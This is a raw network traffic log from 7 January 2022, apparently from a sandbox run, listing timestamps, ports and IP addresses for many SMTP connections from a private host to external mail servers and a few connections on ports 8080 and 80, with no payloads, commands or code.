Jan 7, 2022 15:55:48.040007114 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040021896 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040036917 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040086985 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040124893 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040287971 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040369034 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040402889 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040445089 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040458918 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040497065 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040504932 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.040527105 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040538073 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.040575981 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040647030 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.040652037 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040684938 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.040693998 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040704012 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.040709972 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040725946 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040760040 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040805101 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.040816069 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.040829897 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.040870905 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.040883064 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.049345016 CET	25	49959	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:48.049779892 CET	49959	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:48.067554951 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.067583084 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.067600012 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.067614079 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.067626953 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.067641973 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.070415974 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.084207058 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:48.085014105 CET	49955	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:48.101910114 CET	25	49959	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:48.112128019 CET	25	49959	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:48.112464905 CET	49959	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:48.132522106 CET	25	49915	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.165076971 CET	25	49959	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:48.172245026 CET	25	49952	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:48.176457882 CET	49959	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:48.176465988 CET	49952	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:48.216950893 CET	25	49915	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.217004061 CET	25	49915	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.217319965 CET	49915	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.219871998 CET	49915	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.224452019 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224508047 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224548101 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224586010 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224627018 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224667072 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224690914 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224709988 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224733114 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224756956 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224778891 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224807024 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224829912 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224874020 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224900961 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224950075 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224972963 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.224996090 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225040913 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225061893 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225260019 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225286007 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225308895 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225331068 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225354910 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225378036 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225400925 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225742102 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225764036 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225785971 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.225807905 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.226346970 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.226541042 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.226598024 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.226726055 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.226810932 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.226926088 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227037907 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227237940 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227293968 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227317095 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227339983 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227423906 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227479935 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227565050 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227675915 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227731943 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227798939 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227823019 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227930069 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227953911 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.227977037 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.228075027 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.228097916 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.228120089 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.228153944 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.228188992 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.228699923 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.228797913 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.228838921 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.228920937 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.228984118 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.229001045 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.229043007 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.229100943 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.229118109 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.233788013 CET	25	49959	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:48.241035938 CET	25	49959	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:48.241236925 CET	49959	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:48.243769884 CET	49959	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:48.256555080 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.256587982 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.256614923 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.256639957 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.256666899 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.256692886 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.256719112 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.256768942 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.256793022 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.256867886 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.280906916 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:48.283031940 CET	49955	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:48.293751001 CET	25	49959	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:48.293786049 CET	25	49959	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:48.295896053 CET	25	49959	142.250.150.27	192.168.2.3
Jan 7, 2022 15:55:48.302845955 CET	49959	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:48.303930998 CET	49959	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:48.303957939 CET	49959	25	192.168.2.3	142.250.150.27
Jan 7, 2022 15:55:48.412725925 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.412755013 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.412765980 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.412781954 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.412797928 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.412900925 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.412933111 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.412971020 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.413033962 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.413132906 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.413151026 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.413258076 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.413357973 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.413408995 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.413530111 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.413609028 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.413625956 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.414781094 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.414802074 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.414889097 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.414930105 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415013075 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415050030 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415132046 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415184975 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415266037 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415311098 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415407896 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415492058 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415657043 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415687084 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415769100 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415931940 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.415971041 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.416038990 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.416176081 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.416193008 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.416335106 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.416448116 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.416536093 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.416656017 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.416824102 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.416896105 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.416980982 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.417139053 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.417171955 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.417382002 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.417517900 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.417538881 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.417659044 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.417676926 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.417691946 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.417773962 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.417855024 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.417943954 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.418014050 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.418164015 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.418203115 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.418262959 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.422889948 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:48.521799088 CET	25	49952	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:48.604588985 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.604620934 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.604635954 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.604651928 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.604711056 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.604790926 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.604808092 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.604825020 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.605134964 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.605158091 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.609477043 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.609508991 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.609524012 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.609540939 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.609558105 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.609571934 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.609630108 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.609673977 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.609754086 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.609771013 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.609841108 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:48.628911018 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:48.680043936 CET	25	49952	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:48.682179928 CET	49952	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:48.787401915 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:48.789586067 CET	49955	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:48.994575977 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:49.029493093 CET	25	49952	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:49.140923023 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:49.180771112 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:49.195750952 CET	25	49952	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:49.195990086 CET	49952	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:49.197365999 CET	49952	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:49.291246891 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:49.300957918 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:49.301055908 CET	49955	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:49.487190962 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:49.488873959 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:49.488913059 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:49.543119907 CET	25	49952	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:49.549197912 CET	25	49952	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:49.646497011 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:49.675003052 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:49.675031900 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:49.675223112 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:49.678081989 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:49.700787067 CET	25	49952	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:49.700817108 CET	25	49952	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:49.704679966 CET	49952	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:49.704715014 CET	49952	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:49.814614058 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:49.818219900 CET	49955	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:49.818253040 CET	49955	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:49.861366987 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:49.864162922 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:49.864190102 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:49.868503094 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:49.870481968 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:50.054735899 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.054768085 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.056605101 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.056638956 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.056657076 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.056674004 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.061408043 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:50.061477900 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:50.166112900 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:50.171139956 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:50.248476982 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.248512030 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.248528957 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.248545885 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.248560905 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.248577118 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.249094009 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:50.249125004 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.249152899 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.249169111 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:50.249206066 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:50.249232054 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:50.249265909 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:50.249766111 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:50.322544098 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:50.323029995 CET	25	49955	74.125.200.27	192.168.2.3
Jan 7, 2022 15:55:50.327497005 CET	49955	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:50.330212116 CET	49955	25	192.168.2.3	74.125.200.27
Jan 7, 2022 15:55:50.435462952 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435494900 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435504913 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435520887 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435532093 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435547113 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435561895 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435578108 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435595036 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435609102 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435623884 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435658932 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:50.435708046 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435726881 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435743093 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.435844898 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.624124050 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.624144077 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:50.998318911 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:51.184616089 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:51.264024019 CET	49967	8080	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:51.303349972 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:51.489583969 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:51.503304005 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:51.689613104 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:51.690521955 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:51.690567017 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:51.876663923 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:51.917296886 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:51.917327881 CET	25	49926	35.82.253.27	192.168.2.3
Jan 7, 2022 15:55:51.917552948 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:51.917701006 CET	49926	25	192.168.2.3	35.82.253.27
Jan 7, 2022 15:55:54.390299082 CET	49967	8080	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:54.597374916 CET	49970	8080	192.168.2.3	193.166.255.171
Jan 7, 2022 15:55:57.697117090 CET	49970	8080	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:00.255166054 CET	49971	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:00.395175934 CET	49967	8080	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:03.391108990 CET	49971	80	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:03.797398090 CET	49970	8080	192.168.2.3	193.166.255.171
Jan 7, 2022 15:56:05.898149014 CET	49982	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:56:05.924493074 CET	25	49982	108.177.119.26	192.168.2.3
Jan 7, 2022 15:56:05.924643993 CET	49982	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:56:05.952467918 CET	25	49982	108.177.119.26	192.168.2.3
Jan 7, 2022 15:56:05.952584982 CET	49982	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:56:05.978970051 CET	25	49982	108.177.119.26	192.168.2.3
Jan 7, 2022 15:56:05.982343912 CET	25	49982	108.177.119.26	192.168.2.3
Jan 7, 2022 15:56:05.982538939 CET	49982	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:56:06.009512901 CET	25	49982	108.177.119.26	192.168.2.3
Jan 7, 2022 15:56:06.009674072 CET	49982	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:56:06.040966034 CET	25	49982	108.177.119.26	192.168.2.3
Jan 7, 2022 15:56:06.047563076 CET	25	49982	108.177.119.26	192.168.2.3
Jan 7, 2022 15:56:06.047832012 CET	49982	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:56:06.047863007 CET	49982	25	192.168.2.3	108.177.119.26
Jan 7, 2022 15:56:06.048191071 CET	49984	25	192.168.2.3	142.250.150.27
